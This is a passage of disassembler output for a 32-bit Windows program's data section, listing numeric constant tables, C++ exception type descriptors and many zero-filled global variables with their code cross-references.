dword_43D4A8	dd 2 dup(0)		; DATA XREF: sub_425DDA+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_43D608	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_425DDA+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_43D764	dd offset off_427D60	; DATA XREF: ___:00427F3Co
					; ___:00428028o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_43D77C	dd offset off_427D60	; DATA XREF: ___:off_427DF0o
					; ___:00427E30o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_43D79C	dd offset off_427D60	; DATA XREF: ___:off_427E38o
					; ___:00427E7Co ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_43D7BC	dd offset off_427D60	; DATA XREF: ___:off_427E84o
					; ___:00427EC8o ...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
off_43D7E0	dd offset off_427D60	; DATA XREF: ___:off_427ED0o
					; ___:00427F0Co
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_42470C
		align 10h
dword_43D800	dd 2 dup(0)		; DATA XREF: sub_40111D+C8o
dword_43D808	dd 2 dup(0)		; DATA XREF: sub_40111D+62o
					; ___:0040146Eo ...
dword_43D810	dd 0			; DATA XREF: ___:004015B0o
					; sub_401ACD+B08o ...
		dd 5 dup(0)
dword_43D828	dd 0			; DATA XREF: sub_401ACD+B64r
					; sub_4150B5+60r
		dd 2D9h	dup(0)
dword_43E390	dd 0			; DATA XREF: sub_401ACD+5E63r
					; sub_401ACD+5F40r ...
		dd 7Fh dup(0)
dword_43E590	dd 0			; DATA XREF: sub_40B0F7+41w
					; sub_40B232+40w ...
dword_43E594	dd 0			; DATA XREF: sub_40B0F7+47w
					; sub_40B232+46w ...
dword_43E598	dd 0			; DATA XREF: sub_40B0F7+52w
					; sub_40B232+3Ar ...
dword_43E59C	dd 0			; DATA XREF: sub_40111D+Cr
					; sub_4017ED+B9w ...
dword_43E5A0	dd 0			; DATA XREF: sub_40B232+75r
					; sub_40B413+2Aw ...
dword_43E5A4	dd 0			; DATA XREF: ___:004015FFw
					; ___:00401677w ...
byte_43E5A8	db 0			; DATA XREF: sub_4017ED+91o
					; sub_401ACD+5DA8r ...
		align 4
		dd 1C69h dup(0)
dword_445750	dd 2A3Fh dup(0)		; DATA XREF: ___:00433E54o
		db 0
byte_45004D	db 3 dup(0)		; DATA XREF: ___:00438140o
dword_450050	dd 1CFCh dup(0)
		db 0
byte_457441	db 3 dup(0)		; DATA XREF: ___:off_438BACo
dword_457444	dd 17780h dup(0)
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: ___:off_438A18o
		dd 5852h dup(0)
dword_4CB390	dd 0			; DATA XREF: sub_40111D+FDw
					; sub_40B0F7+13o ...
dword_4CB394	dd 0			; DATA XREF: ___:0040125Ew
					; sub_401ACD:loc_4044D8r ...
dword_4CB398	dd 0			; DATA XREF: ___:loc_4016FFo
dword_4CB39C	dd 20h dup(0)		; DATA XREF: ___:004016B6o
					; ___:00401750o ...
dword_4CB41C	dd 10h dup(0)		; DATA XREF: ___:004016CCo
dword_4CB45C	dd 24h dup(0)		; DATA XREF: ___:004016E3o
dword_4CB4EC	dd 0			; DATA XREF: ___:004016D7w
					; ___:00401767w ...
dword_4CB4F0	dd 0			; DATA XREF: ___:004016F6w
		align 10h
byte_4CB500	db 0			; DATA XREF: sub_401955+28r
					; sub_401955+30o
		align 4
dword_4CB504	dd 0			; DATA XREF: ___:00401704w
					; ___:0040171Br ...
dword_4CB508	dd 0			; DATA XREF: ___:004016BBw
					; sub_401ACD+8BEr
dword_4CB50C	dd 0			; DATA XREF: sub_401ACD+7DC0o
					; sub_40C9A5+13o ...
dword_4CB510	dd 0			; DATA XREF: sub_409B13+4A7w
					; sub_409B13+4EBr ...
dword_4CB514	dd 0			; DATA XREF: sub_409B13+65w
					; sub_4196BD+166r
dword_4CB518	dd 0			; DATA XREF: sub_409B13+80Bw
					; sub_409B13+880r ...
dword_4CB51C	dd 0			; DATA XREF: sub_409B13+9D8w
					; sub_409B13+A43r ...
dword_4CB520	dd 0			; DATA XREF: sub_409B13+98Aw
					; sub_409B13+A13r ...
dword_4CB524	dd 0			; DATA XREF: sub_409B13+48Dw
					; sub_409B13+4DBr ...
dword_4CB528	dd 0			; DATA XREF: sub_409B13+213w
					; sub_409B13+234r
dword_4CB52C	dd 0			; DATA XREF: sub_409B13+9CBw
					; sub_409B13+A3Br ...
dword_4CB530	dd 0			; DATA XREF: sub_409B13+372w
					; sub_409B13+3C7r ...
dword_4CB534	dd 0			; DATA XREF: sub_409B13+40Fw
					; sub_41AA43+11Er
dword_4CB538	dd 0			; DATA XREF: sub_409B13+37Fw
					; sub_409B13+3CFr ...
dword_4CB53C	dd 0			; DATA XREF: sub_409B13+3C0w
					; sub_418C8F+ADr
dword_4CB540	dd 0			; DATA XREF: sub_409B13+55Aw
					; sub_40F0D6+115r ...
dword_4CB544	dd 0			; DATA XREF: sub_409B13+72w
					; sub_409B13+D2r ...
dword_4CB548	dd 0			; DATA XREF: sub_409B13+97Dw
					; sub_409B13+A06r ...
dword_4CB54C	dd 0			; DATA XREF: sub_409B13+3A6w
					; sub_409B13+3E7r ...
dword_4CB550	dd 0			; DATA XREF: sub_409B13+859w
					; sub_409B13+8ACr ...
dword_4CB554	dd 0			; DATA XREF: sub_409B13+2A5w
					; sub_409B13+2F0r ...
dword_4CB558	dd 0			; DATA XREF: sub_409B13+84Cw
					; sub_409B13+8A4r ...
dword_4CB55C	dd 0			; DATA XREF: sub_409B13+B3w
dword_4CB560	dd 0			; DATA XREF: sub_409B13+866w
					; sub_409B13+8B4r ...
dword_4CB564	dd 0			; DATA XREF: sub_409B13+54Dw
					; sub_409B13+6D0r ...
dword_4CB568	dd 0			; DATA XREF: sub_409B13+58w
					; sub_409B13+CAr ...
dword_4CB56C	dd 0			; DATA XREF: sub_409B13+934w
dword_4CB570	dd 0			; DATA XREF: sub_401ACD:loc_403F26r
					; sub_409B13+A95w ...
dword_4CB574	dd 0			; DATA XREF: sub_409B13+A6w
					; sub_409B13+F2r
dword_4CB578	dd 0			; DATA XREF: sub_409B13+480w
					; sub_409B13+4D3r ...
dword_4CB57C	dd 0			; DATA XREF: sub_409B13+5F6w
					; sub_40BFA4+20r
dword_4CB580	dd 0			; DATA XREF: sub_409B13+9BEw
					; sub_409B13+A33r
dword_4CB584	dd 0			; DATA XREF: sub_409B13+5E9w
					; sub_409B13+754r ...
dword_4CB588	dd 0			; DATA XREF: sub_409B13+A0Cw
dword_4CB58C	dd 0			; DATA XREF: sub_409B13+B50w
dword_4CB590	dd 0			; DATA XREF: sub_409B13+7FEw
					; sub_409B13+86Dr ...
dword_4CB594	dd 0			; DATA XREF: sub_409B13+1B3w
					; sub_40B2F2+3Do ...
dword_4CB598	dd 0			; DATA XREF: sub_409B13+997w
					; sub_409B13+A1Br ...
dword_4CB59C	dd 0			; DATA XREF: sub_409B13+38Cw
					; sub_409B13+3D7r ...
dword_4CB5A0	dd 0			; DATA XREF: sub_409B13+399w
					; sub_409B13+3DFr ...
dword_4CB5A4	dd 0			; DATA XREF: sub_409B13+C85w
					; sub_409B13+C8Cr ...
dword_4CB5A8	dd 0			; DATA XREF: sub_409B13+6ACw
					; ___:00410890r
dword_4CB5AC	dd 0			; DATA XREF: sub_40111D+1Dr
					; sub_40111D+23r ...
dword_4CB5B0	dd 0			; DATA XREF: sub_409B13+4B4w
					; sub_4153BD+207r
dword_4CB5B4	dd 0			; DATA XREF: sub_409B13+9E5w
					; sub_409B13+A4Br ...
dword_4CB5B8	dd 0			; DATA XREF: sub_401000+51r
					; sub_409B13+2B2w ...
dword_4CB5BC	dd 0			; DATA XREF: sub_409B13+7Fw
					; sub_409B13+DAr ...
dword_4CB5C0	dd 0			; DATA XREF: sub_401ACD+5912r
					; sub_401ACD+79CFr ...
dword_4CB5C4	dd 0			; DATA XREF: ___:004012ADr
					; sub_401ACD+5118r ...
dword_4CB5C8	dd 0			; DATA XREF: sub_409B13+825w
					; sub_409B13+890r ...
dword_4CB5CC	dd 0			; DATA XREF: sub_409B13+9A4w
					; sub_409B13+A23r
dword_4CB5D0	dd 0			; DATA XREF: sub_409B13+C0Ew
					; sub_409B13+C3Fr
dword_4CB5D4	dd 0			; DATA XREF: sub_409B13+2CCw
					; sub_4184E2+47r
dword_4CB5D8	dd 0			; DATA XREF: sub_409B13+22Dw
dword_4CB5DC	dd 0			; DATA XREF: sub_409B13+91Aw
					; sub_409B13+92Er
dword_4CB5E0	dd 0			; DATA XREF: sub_409B13+C28w
dword_4CB5E4	dd 0			; DATA XREF: sub_409B13+2D9w
					; sub_4184E2+4Fr
dword_4CB5E8	dd 0			; DATA XREF: sub_409B13+574w
					; sub_409B13+6E8r ...
dword_4CB5EC	dd 0			; DATA XREF: sub_409B13+83Fw
					; sub_409B13+873r
dword_4CB5F0	dd 0			; DATA XREF: sub_409B13+220w
					; sub_409B13+23Cr
dword_4CB5F4	dd 0			; DATA XREF: sub_409B13+172w
					; sub_409B13+1C2r ...
dword_4CB5F8	dd 0			; DATA XREF: sub_401ACD+1E31r
					; sub_401ACD+5AC8r ...
dword_4CB5FC	dd 0			; DATA XREF: sub_4017ED+C4r
					; sub_401ACD+51A2r ...
dword_4CB600	dd 0			; DATA XREF: sub_409B13+567w
					; sub_409B13+6DCr ...
dword_4CB604	dd 0			; DATA XREF: sub_409B13+8DBw
					; sub_409B13:loc_40A40Cw ...
dword_4CB608	dd 0			; DATA XREF: sub_401000+26r
					; sub_409B13+28Bw ...
dword_4CB60C	dd 0			; DATA XREF: sub_401ACD+795Ar
					; sub_409B13+69Fw ...
dword_4CB610	dd 0			; DATA XREF: sub_409B13+32Dw
					; sub_409B13+341r ...
dword_4CB614	dd 0			; DATA XREF: sub_409B13+3B3w
					; sub_409B13+3EFr ...
dword_4CB618	dd 0			; DATA XREF: sub_409B13+C01w
					; sub_409B13+C37r
dword_4CB61C	dd 0			; DATA XREF: sub_409B13+818w
					; sub_409B13+888r ...
dword_4CB620	dd 0			; DATA XREF: sub_409B13+206w
					; sub_409B13+227r
dword_4CB624	dd 0			; DATA XREF: sub_409B13+18Cw
					; sub_409B13+1D2r ...
dword_4CB628	dd 0			; DATA XREF: sub_409B13+832w
					; sub_409B13+898r ...
dword_4CB62C	dd 0			; DATA XREF: sub_409B13+624w
					; sub_409B13+774r
dword_4CB630	dd 0			; DATA XREF: sub_401000+5Ar
					; sub_409B13+2BFw ...
dword_4CB634	dd 0			; DATA XREF: sub_409B13+66Bw
					; sub_409B13+79Cr ...
dword_4CB638	dd 0			; DATA XREF: sub_409B13+320w
					; sub_409B13+334r ...
dword_4CB63C	dd 0			; DATA XREF: sub_409B13+644w
					; sub_409B13+784r ...
dword_4CB640	dd 0			; DATA XREF: sub_409B13+44Cw
					; sub_409B13+4AEr ...
dword_4CB644	dd 0			; DATA XREF: sub_409B13+199w
					; sub_409B13+1DAr ...
dword_4CB648	dd 0			; DATA XREF: sub_409B13+365w
					; sub_409B13+3BAr ...
dword_4CB64C	dd 0			; DATA XREF: sub_409B13+AA2w
dword_4CB650	dd 0			; DATA XREF: sub_409B13+5DCw
					; sub_409B13+748r ...
dword_4CB654	dd 0			; DATA XREF: sub_4017ED+3Er
					; sub_401ACD+5154r ...
dword_4CB658	dd 0			; DATA XREF: sub_409B13+4Bw
					; sub_409B13+C2r ...
dword_4CB65C	dd 0			; DATA XREF: sub_409B13+473w
					; sub_409B13+4CBr ...
dword_4CB660	dd 0			; DATA XREF: sub_409B13+165w
					; sub_409B13+1BAr ...
dword_4CB664	dd 0			; DATA XREF: sub_409B13+9FFw
					; sub_409B13+A5Br ...
dword_4CB668	dd 0			; DATA XREF: sub_409B13+685w
					; sub_409B13+7ACr ...
dword_4CB66C	dd 0			; DATA XREF: sub_401955+D1r
					; sub_401ACD+51B7r ...
dword_4CB670	dd 0			; DATA XREF: sub_409B13+C1Bw
					; sub_409B13+C47r
dword_4CB674	dd 0			; DATA XREF: sub_409B13+3Ew
					; sub_409B13+BAr ...
dword_4CB678	dd 0			; DATA XREF: sub_401000+45r
					; sub_409B13+298w ...
dword_4CB67C	dd 0			; DATA XREF: sub_409B13+651w
					; sub_409B13+78Cr ...
dword_4CB680	dd 0			; DATA XREF: sub_409B13+637w
					; sub_409B13+77Cr ...
dword_4CB684	dd 0			; DATA XREF: sub_401ACD+73BAr
					; sub_409B13+C92w
dword_4CB688	dd 0			; DATA XREF: sub_409B13+879w
					; ___:004168D6r ...
dword_4CB68C	dd 0			; DATA XREF: sub_409B13+112w
dword_4CB690	dd 0			; DATA XREF: sub_409B13+BE7w
					; sub_409B13+C22r
dword_4CB694	dd 0			; DATA XREF: sub_401ACD+2FE5r
					; sub_401ACD+5F99r ...
dword_4CB698	dd 0			; DATA XREF: sub_409B13+459w
					; sub_409B13+4BBr ...
dword_4CB69C	dd 0			; DATA XREF: sub_409B13+49Aw
					; sub_409B13+4E3r ...
dword_4CB6A0	dd 0			; DATA XREF: sub_409B13+466w
					; sub_409B13+4C3r ...
dword_4CB6A4	dd 0			; DATA XREF: sub_401955+89r
					; sub_401ACD+51D4r ...
dword_4CB6A8	dd 0			; DATA XREF: sub_409B13+1A6w
					; sub_409B13+1E2r ...
dword_4CB6AC	dd 0			; DATA XREF: sub_409B13+9F2w
					; sub_409B13+A53r ...
dword_4CB6B0	dd 0			; DATA XREF: sub_409B13+158w
					; sub_409B13+1ADr ...
dword_4CB6B4	dd 0			; DATA XREF: sub_409B13+8Cw
					; sub_409B13+E2r ...
dword_4CB6B8	dd 0			; DATA XREF: sub_409B13+610w
					; sub_409B13+764r ...
dword_4CB6BC	dd 0			; DATA XREF: sub_409B13+B43w
					; sub_409B13+B5Fr
dword_4CB6C0	dd 0			; DATA XREF: sub_409B13+33Aw
					; sub_419652+55r
dword_4CB6C4	dd 0			; DATA XREF: sub_409B13+27Ew
					; sub_409B13+2D3r ...
dword_4CB6C8	dd 0			; DATA XREF: sub_409B13+BAAw
dword_4CB6CC	dd 0			; DATA XREF: sub_409B13+AECw
					; sub_40AB32+CEr
dword_4CB6D0	dd 0			; DATA XREF: sub_409B13+ADFw
					; sub_409B13+AE6r ...
dword_4CB6D4	dd 0			; DATA XREF: sub_4017ED+A6r
					; sub_401ACD+5133r ...
dword_4CB6D8	dd 0			; DATA XREF: sub_401ACD+5125r
					; sub_401ACD+7981r ...
dword_4CB6DC	dd 0			; DATA XREF: sub_409B13+BF4w
					; sub_409B13+C2Fr
dword_4CB6E0	dd 0			; DATA XREF: sub_401ACD+1E57r
					; sub_401ACD+5AEEr ...
dword_4CB6E4	dd 0			; DATA XREF: sub_409B13+9B1w
					; sub_409B13+A2Br ...
dword_4CB6E8	dd 0			; DATA XREF: sub_409B13+65Ew
					; sub_409B13+794r ...
dword_4CB6EC	dd 0			; DATA XREF: sub_40111D+12r
					; sub_4017ED+D0r ...
dword_4CB6F0	dd 0			; DATA XREF: sub_409B13+59Bw
					; sub_409B13+70Cr ...
dword_4CB6F4	dd 0			; DATA XREF: sub_409B13+B36w
					; sub_409B13+B57r
dword_4CB6F8	dd 0			; DATA XREF: sub_409B13+540w
					; sub_409B13+6C4r ...
dword_4CB6FC	dd 0			; DATA XREF: sub_409B13+B29w
					; sub_409B13+B4Ar
dword_4CB700	dd 0			; DATA XREF: ___:00401273r
					; sub_409B13+31w ...
dword_4CB704	dd 0			; DATA XREF: sub_409B13+17Fw
					; sub_409B13+1CAr ...
		dd 0
dword_4CB70C	dd 0			; DATA XREF: sub_409B13+927w
					; sub_409B13+93Br
dword_4CB710	dd 0			; DATA XREF: sub_409B13+99w
					; sub_409B13+EAr ...
dword_4CB714	dd 0			; DATA XREF: sub_409B13:loc_409C11w
					; sub_409B13+12Bw ...
dword_4CB718	dd 0			; DATA XREF: sub_409B13+126w
					; sub_40A7CF+1Cr
dword_4CB71C	dd 0			; DATA XREF: sub_409B13:loc_409D01w
					; sub_409B13:loc_409D68w ...
dword_4CB720	dd 0			; DATA XREF: sub_409B13+250w
					; sub_40A7CF+50r
dword_4CB724	dd 0			; DATA XREF: ___:0040156Ar
					; sub_401ACD+4568r ...
dword_4CB728	dd 0			; DATA XREF: sub_409B13+41Ew
					; sub_40A7CF+84r
dword_4CB72C	dd 0			; DATA XREF: sub_409B13:loc_40A017w
					; sub_40A7CF:loc_40A87Fr
dword_4CB730	dd 0			; DATA XREF: sub_409B13+4FFw
					; sub_40A7CF+B8r
dword_4CB734	dd 0			; DATA XREF: sub_409B13:loc_40A2E8w
					; sub_40A7CF:loc_40A8B3r
dword_4CB738	dd 0			; DATA XREF: sub_409B13+7D0w
					; sub_40A7CF+ECr
dword_4CB73C	dd 0			; DATA XREF: sub_409B13:loc_40A3D3w
					; sub_409B13+8EFw ...
dword_4CB740	dd 0			; DATA XREF: sub_409B13+8EAw
					; sub_40A7CF+120r
dword_4CB744	dd 0			; DATA XREF: sub_401ACD:loc_406F18r
					; sub_409B13:loc_40A467w ...
dword_4CB748	dd 0			; DATA XREF: sub_409B13+94Fw
					; sub_40A7CF+154r
dword_4CB74C	dd 0			; DATA XREF: sub_401ACD+4570r
					; sub_409B13:loc_40A583w ...
dword_4CB750	dd 0			; DATA XREF: sub_409B13+A6Bw
					; sub_40A7CF+188r
dword_4CB754	dd 0			; DATA XREF: sub_409B13:loc_40A5CDw
					; sub_40A7CF:loc_40A983r
dword_4CB758	dd 0			; DATA XREF: sub_409B13+AB5w
					; sub_40A7CF+1BCr
dword_4CB75C	dd 0			; DATA XREF: sub_409B13:loc_40A617w
					; sub_40A7CF:loc_40A9B7r
dword_4CB760	dd 0			; DATA XREF: sub_409B13+AFFw
					; sub_40A7CF+1F0r
dword_4CB764	dd 0			; DATA XREF: sub_409B13:loc_40A68Bw
					; sub_40A7CF:loc_40A9EBr
dword_4CB768	dd 0			; DATA XREF: sub_409B13+B73w
					; sub_40A7CF+224r
dword_4CB76C	dd 0			; DATA XREF: sub_409B13:loc_40A6D5w
					; sub_40A7CF:loc_40AA1Fr
dword_4CB770	dd 0			; DATA XREF: sub_409B13+BBDw
					; sub_40A7CF+258r
dword_4CB774	dd 0			; DATA XREF: sub_409B13:loc_40A773w
					; sub_40A7CF:loc_40AA53r
dword_4CB778	dd 0			; DATA XREF: sub_409B13+C5Bw
					; sub_40A7CF+28Cr
dword_4CB77C	dd 0			; DATA XREF: sub_409B13:loc_40A7BDw
					; sub_40A7CF:loc_40AA87r
dword_4CB780	dd 0			; DATA XREF: sub_409B13+CA5w
					; sub_40A7CF+2C0r
dword_4CB784	dd 7 dup(0)		; DATA XREF: sub_40AC10+32o
dword_4CB7A0	dd 0			; DATA XREF: sub_40BA57+18r
					; sub_40BFEC+92w ...
dword_4CB7A4	dd 0			; DATA XREF: sub_40C125+4Dr
					; sub_40C125+2F1w ...
		dd 7FEh	dup(0)
dword_4CD7A0	dd 6 dup(0)		; DATA XREF: sub_40C125+D2o
					; sub_40C125+13Bo ...
dword_4CD7B8	dd 0			; DATA XREF: sub_40BACE+2C4w
					; sub_40BACE+348o
dword_4CD7BC	dd 0			; DATA XREF: sub_40BACE+33Ew
					; sub_40BACE+35Ar
dword_4CD7C0	dd 0			; DATA XREF: sub_40BACE+2CFw
dword_4CD7C4	dd 0			; DATA XREF: sub_40BACE+2B9w
					; sub_40BACE:loc_40BDE3r
dword_4CD7C8	dd 20h dup(0)		; DATA XREF: sub_40BACE+2E2o
					; sub_40BACE+302o
dword_4CD848	dd 0			; DATA XREF: sub_40BACE+2D5w
dword_4CD84C	dd 0			; DATA XREF: sub_40BACE+2EFw
					; sub_40BACE+30Fw
dword_4CD850	dd 0			; DATA XREF: sub_40BACE:loc_40BE3Er
		align 8
dword_4CD858	dd 0			; DATA XREF: sub_40BACE+82w
					; sub_40BACE+101o
dword_4CD85C	dd 41h dup(0)		; DATA XREF: sub_40BACE+41o
dword_4CD960	dd 41h dup(0)		; DATA XREF: sub_40BACE+69o
dword_4CDA64	dd 0			; DATA XREF: sub_40BACE+F7w
					; sub_40BACE+113r
dword_4CDA68	dd 0			; DATA XREF: sub_40BACE+52w
dword_4CDA6C	dd 0			; DATA XREF: sub_40BACE+4Dw
					; sub_40BACE+D4r
dword_4CDA70	dd 20h dup(0)		; DATA XREF: sub_40BACE+9Ao
					; sub_40BACE+BAo
dword_4CDAF0	dd 0			; DATA XREF: sub_40BACE+8Fw
dword_4CDAF4	dd 0			; DATA XREF: sub_40BACE+A7w
					; sub_40BACE+C7w
dword_4CDAF8	dd 0			; DATA XREF: sub_40BACE:loc_40BBF7r
		align 10h
dword_4CDB00	dd 0			; DATA XREF: sub_40BACE+1A5w
					; sub_40BACE+225o
dword_4CDB04	dd 41h dup(0)		; DATA XREF: sub_40BACE+167o
dword_4CDC08	dd 41h dup(0)		; DATA XREF: sub_40BACE+18Co
dword_4CDD0C	dd 0			; DATA XREF: sub_40BACE+21Bw
					; sub_40BACE+237r
dword_4CDD10	dd 0			; DATA XREF: sub_40BACE+17Aw
dword_4CDD14	dd 0			; DATA XREF: sub_40BACE+175w
					; sub_40BACE+1F8r
dword_4CDD18	dd 20h dup(0)		; DATA XREF: sub_40BACE+1BEo
					; sub_40BACE+1DEo
dword_4CDD98	dd 0			; DATA XREF: sub_40BACE+1B1w
dword_4CDD9C	dd 0			; DATA XREF: sub_40BACE+1CBw
					; sub_40BACE+1EBw
dword_4CDDA0	dd 0			; DATA XREF: sub_40BACE:loc_40BD1Br
		align 8
dword_4CDDA8	dd 0			; DATA XREF: sub_40BACE+417w
					; sub_40BACE+470o
dword_4CDDAC	dd 0A2h	dup(0)		; DATA XREF: sub_40BACE+405o
dword_4CE034	dd 41h dup(0)		; DATA XREF: sub_40BACE+3CFo
dword_4CE138	dd 0			; DATA XREF: sub_40BACE+3FCw
					; sub_40BACE+423r
		align 10h
dword_4CE140	dd 0			; DATA XREF: sub_40BACE+466w
					; sub_40BACE+482r
dword_4CE144	dd 0			; DATA XREF: sub_40BACE+429w
dword_4CE148	dd 0			; DATA XREF: sub_40BACE+436w
dword_4CE14C	dd 0			; DATA XREF: sub_40BACE+3F6w
		dd 0
dword_4CE154	dd 0			; DATA XREF: sub_40BACE:loc_40BF66r
		dd 0
dword_4CE15C	dd 0			; DATA XREF: sub_40B71A+Er
					; sub_40B71A+32r
dword_4CE160	dd 0			; DATA XREF: sub_40B71A+9r
					; sub_40B71A+26r
dword_4CE164	dd 82h dup(0)		; DATA XREF: sub_40C59C+8Do
dword_4CE36C	dd 2 dup(0)		; DATA XREF: sub_40CF05+68o
dword_4CE374	dd 0			; DATA XREF: sub_40D8A0+8w
					; ___:0040DC6Fo
		dd 0
dword_4CE37C	dd 2 dup(0)		; DATA XREF: ___:0040DBA5o
dword_4CE384	dd 0			; DATA XREF: ___:0040E4D8r
		dd 0
		dd 0
dword_4CE390	dd 0			; DATA XREF: ___:0040E4ABr
dword_4CE394	dd 0			; DATA XREF: ___:0040E48Dr
					; ___:0040E4F6r
		dd 0
dword_4CE39C	dd 0			; DATA XREF: sub_40BACE+2AEr
		dd 0
dword_4CE3A4	dd 0			; DATA XREF: sub_40B786+1Cr
dword_4CE3A8	dd 0			; DATA XREF: ___:0040EFE9w
					; ___:0040F010r ...
		dd 3 dup(0)
dword_4CE3B8	dd 0			; DATA XREF: ___:00410906r
		align 10h
dword_4CE3C0	dd 0			; DATA XREF: sub_412352+4w
					; sub_412352+9o
		dd 109h	dup(0)
dword_4CE7E8	dd 188h	dup(0)		; DATA XREF: sub_401ACD+2F6Fo
					; sub_401ACD:loc_404AC5o
dword_4CEE08	dd 0			; DATA XREF: sub_401ACD+1A24w
					; sub_401ACD+2F67r ...
		dd 11Ch	dup(0)
dword_4CF27C	dd 1000h dup(0)		; DATA XREF: sub_4151AD+1Do
					; sub_41524Do
dword_4D327C	dd 0			; DATA XREF: sub_4151AD+13o
					; sub_41524D+Eo ...
dword_4D3280	dd 0			; DATA XREF: sub_4155F8+Fr
					; sub_4157F1+12r
		align 8
dword_4D3288	dd 0Eh dup(0)		; DATA XREF: sub_416923+Fo
dword_4D32C0	dd 80h dup(0)		; DATA XREF: sub_4175EA+41o
dword_4D34C0	dd 200h	dup(0)		; DATA XREF: sub_416F1B+C7o
					; sub_417276+DDo ...
dword_4D3CC0	dd 124h	dup(0)		; DATA XREF: sub_416F1B+D6o
					; sub_417276+F4o ...
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: ___:off_437F28o
		dd 0DBh	dup(0)
dword_4D44C0	dd 0			; DATA XREF: sub_416F1B+86w
					; sub_4170ED+94r
dword_4D44C4	dd 0			; DATA XREF: sub_416F1B+A7w
					; sub_417553+55r ...
dword_4D44C8	dd 0			; DATA XREF: sub_416F1B+A0w
					; sub_4170ED+D6r ...
dword_4D44CC	dd 0			; DATA XREF: sub_416F1B+79w
					; sub_4170ED+35r ...
dword_4D44D0	dd 80h dup(0)		; DATA XREF: sub_417553+5Eo
dword_4D46D0	dd 0			; DATA XREF: sub_416F1B+93w
					; sub_4170ED+A2r
		align 8
dword_4D46D8	dd 0			; DATA XREF: sub_416F1B+E7o
					; sub_416F1B+103r ...
dword_4D46DC	dd 0			; DATA XREF: sub_417276+17Bw
					; sub_41741D+107w
dword_4D46E0	dd 0			; DATA XREF: sub_417276+180w
					; sub_41741D+10Dw ...
dword_4D46E4	dd 0			; DATA XREF: sub_417276+159w
					; sub_417553+4Fr
dword_4D46E8	dd 0			; DATA XREF: sub_4178BB+22w
					; sub_4178BB:loc_417A40w ...
dword_4D46EC	dd 0			; DATA XREF: sub_401ACD+3CC4o
					; sub_417789+12o ...
		dd 0
dword_4D46F4	dd 0			; DATA XREF: sub_4178BB+1Cr
					; sub_417A60+3Ar
		dd 7Fh dup(0)
dword_4D48F4	dd 0			; DATA XREF: sub_4178BB+28r
					; sub_417A60+4Aw
		dd 1944h dup(0)
dword_4DAE08	dd 0			; DATA XREF: sub_417A60+23o
dword_4DAE0C	dd 81h dup(0)		; DATA XREF: sub_401ACD+3CE2o
					; sub_417789+3Co ...
dword_4DB010	dd 17h dup(0)		; DATA XREF: sub_4187DE:loc_4188FBo
					; sub_4187DE+131o ...
dword_4DB06C	dd 80h dup(0)		; DATA XREF: sub_419594+7Co
					; sub_419594+A5o
dword_4DB26C	dd 0			; DATA XREF: sub_418B59+45w
					; sub_418B59+4Dr ...
dword_4DB270	dd 17h dup(0)		; DATA XREF: sub_419460:loc_419582o
